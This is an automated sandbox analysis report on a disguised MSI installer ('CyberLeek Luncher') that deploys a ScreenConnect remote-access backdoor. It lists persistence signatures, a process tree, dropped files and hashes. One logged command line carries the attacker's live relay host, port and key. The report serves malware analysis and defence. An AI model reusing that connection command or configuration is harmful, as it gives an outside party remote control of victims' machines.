Analysis

  • user interaction
    yes
  • max time kernel
    48s
  • max time network
    46s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/08/2026, 19:03

General

  • Target
    CyberLeek Luncher.msi
  • Size 14.5MB
  • Sample260822-xqqnjaybmd
  • SHA256 398884e64e18976af9933233898b5398b9102f9af4045b1e5231bab7c92aadcd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I "C:\Users\Admin\AppData\Local\Temp\CyberLeek Luncher.msi"
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:3300
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2616
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 0BD8BCD76445FD3D050817653C8AAD1D C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2636
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4F25.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240668609 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:456
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2104
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 952EA96462764171098280B8EDD8EEA5
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2512
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A9B826F8302DB41F77A5C99D866C60AA E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4808
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4892
    • C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=gg.noktaarts.com&p=8041&s=fbfddbd0-c812-48b1-bd04-4a839917ea31&k=BgIAAACkAABSU0ExAAgAAAEAAQDFmPat1eJOqN6O6e%2bioZ7Xr%2bO954g09YmZMwkK614N6ot6GFirMQLr6kyEdNLu%2bbTh238kWl5HMtH%2f%2b8xh%2bj4fitzcXb2%2bYd1NrnR%2fL%2bDbLzcWj3SYXayhRCYoFDfLGxe%2fbLDeIV22AynAGPuIBMqzHBj2BfHn%2fo31EDt6JQ0JB29LJK%2fUpOVXCNIXrqxJ8LMPHPPCll%2fZaTna%2bv4YzJXAgyzPmcRElZaFkCN6cL7pCqD4w8JQ%2bm%2bP7XmErV4dUmxWiMCtSETLD8eOQZNnRFMhKD5KRz22AofNMngOoZK5gxXVHDdOtobxhW%2bLnygPvrzdPeeEpO8NK8IE9BmFs8mi&c=zz&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1668
      • C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsClient.exe" "RunRole" "a49ccd12-3d2d-45ba-9fb5-db032ac0c074" "User"
        2⤵
        • Executes dropped EXE
        PID:3844
      • C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsClient.exe" "RunRole" "6ab3148c-edb0-4f33-af78-d462dc7bd12c" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1412
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:2120

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e588b73.rbs

            • Path C:\Config.Msi\e588b73.rbs
            • Size 214KB
            • SHA256 db4dea756589878390f75eaaeeef2cf3e8e2d19f50541d7c9dbf2a2599aeb020
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\Client.Override.en-US.resources
            • Size 373B
            • SHA256 89bcc246f6d9441452712c4f3a2d9a2c599f2d49ed799eea0599713d5f5141dd
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\Client.Override.resources
            • Size 11KB
            • SHA256 d67b37593cb3b6de4eb6cb5cf84e3cc94ad0817a223566c3683ca12c6efdfa90
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\Client.en-US.resources
            • Size 49KB
            • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\Client.resources
            • Size 33KB
            • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.Client.dll
            • Size 202KB
            • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.ClientService.dll
            • Size 77KB
            • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.Core.dll
            • Size 549KB
            • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.Windows.dll
            • Size 1.7MB
            • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 838KB
            • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\app.config
            • Size 2KB
            • SHA256 fa76b87898cb4296d977617b5fa77faa759875d9335c8a37a5d757ad7d87b0b1
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (e934a059a3e150c6)\system.config
            • Size 956B
            • SHA256 ba05c512cdf75ed604f9a3180b992b3d841f789bfbec180f9167b9fcb84602bb
            • MD5 SHA1 SHA512 TLSH

            MSI4F25.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI4F25.tmp
            • Size 1.0MB
            • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI4F25.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI4F25.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI4F25.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI4F25.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI8D96.tmp

            • Path C:\Windows\Installer\MSI8D96.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e588b72.msi

            • Path C:\Windows\Installer\e588b72.msi
            • Size 14.5MB
            • SHA256 398884e64e18976af9933233898b5398b9102f9af4045b1e5231bab7c92aadcd
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 24.1MB
            • SHA256 d02943fec9c28efeef42f12e5f69d36e73caebef3e405320c4621d6235487770
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {50c9a5ef-ede5-447e-95f2-0025f39bf635}_OnDiskSnapshotProp

            • Path \??\Volume{0dfc9b49-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{50c9a5ef-ede5-447e-95f2-0025f39bf635}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 1a85c3428cd376123ebe284c4b491a8986448a84bfb4771a47104b85e6dd690f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/456-30-0x0000000004DC0000-0x0000000004F6C000-memory.dmp

            memory/456-18-0x0000000004A30000-0x0000000004A5E000-memory.dmp

            memory/456-31-0x0000000005520000-0x0000000005AC4000-memory.dmp

            memory/456-22-0x0000000004A70000-0x0000000004A7A000-memory.dmp

            memory/456-26-0x0000000004B80000-0x0000000004C0E000-memory.dmp

            memory/1412-130-0x00000000023C0000-0x0000000002401000-memory.dmp

            memory/1668-84-0x0000000004390000-0x000000000441E000-memory.dmp

            memory/1668-107-0x0000000004920000-0x00000000049B2000-memory.dmp

            memory/1668-78-0x00000000041A0000-0x00000000041B8000-memory.dmp

            memory/1668-88-0x00000000045D0000-0x000000000477C000-memory.dmp

            memory/1668-111-0x0000000004B00000-0x0000000004BD5000-memory.dmp

            memory/1668-106-0x0000000004580000-0x00000000045B6000-memory.dmp

            memory/1668-109-0x0000000004880000-0x00000000048C1000-memory.dmp

            memory/1668-102-0x0000000004530000-0x0000000004580000-memory.dmp

            memory/3844-122-0x0000000000C30000-0x0000000000CC8000-memory.dmp

            memory/3844-124-0x000000001BB30000-0x000000001BBBE000-memory.dmp

            memory/3844-125-0x000000001BD70000-0x000000001BF1C000-memory.dmp

            memory/3844-126-0x000000001CBA0000-0x000000001CD26000-memory.dmp

            memory/3844-128-0x000000001BAA0000-0x000000001BAB8000-memory.dmp

            memory/3844-127-0x0000000002D20000-0x0000000002D38000-memory.dmp

            memory/3844-123-0x0000000002D40000-0x0000000002D76000-memory.dmp